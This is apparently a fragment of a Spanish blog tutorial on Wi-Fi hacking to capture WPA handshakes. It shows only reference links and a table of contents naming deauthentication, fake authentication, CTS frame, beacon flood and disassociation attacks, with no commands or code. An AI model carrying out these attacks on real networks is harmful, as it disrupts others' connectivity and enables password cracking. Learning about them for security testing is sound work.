https://blog.isecauditors.com/2021/03/wi-fi-dos-cts-frame-attack.html
https://github.com/Fz3r0/WiFi-CTS-Frame-Attack-802.11-Frame
https://medium.com/infosec-adventures/beacon-flooding-attack-a4baadc2242b
https://security.stackexchange.com/questions/152928/how-deauth-attack-works-in-mkd3
https://www.tusclasesparticulares.com/blog/que-direccion-mac-tipos-existen
https://www.avg.com/es/signal/boost-home-wi-fi-signal-strength
https://es.wikipedia.org/wiki/Endianness

BerserkWings

Hacking WiFi - Ataques para Obtener Handshake

Índice

Ataques Variados a Realizar

Ataque de Desautenticación Dirigido

Ataque de Desautenticación Global

Usando la Broadcast MAC Address para Ataque de Desautenticación Global

Usando Ataque de Desautenticación Global Sin Especificar Cliente

Ataque de Falsa Autenticación

CTS Frame Attack - Secuestro del Ancho de Banda de una Red

Analizando Archivo .pcap con Tshark y Obteniendo la Duración de Tramas de Datos

Analizando Archivo .pcap con Wireshark, Obteniendo la Duración de Tramas de Datos y Analizando el Archivo con GHex

Capturando Entorno con Wireshark y Analizando Archivo .pcap con GHex

Modificando .pcap con GHex y Aplicando Ataque

Ataque Beacon Flood Mode

Ataque Disassociation Amok Mode

Links de Investigación

FIN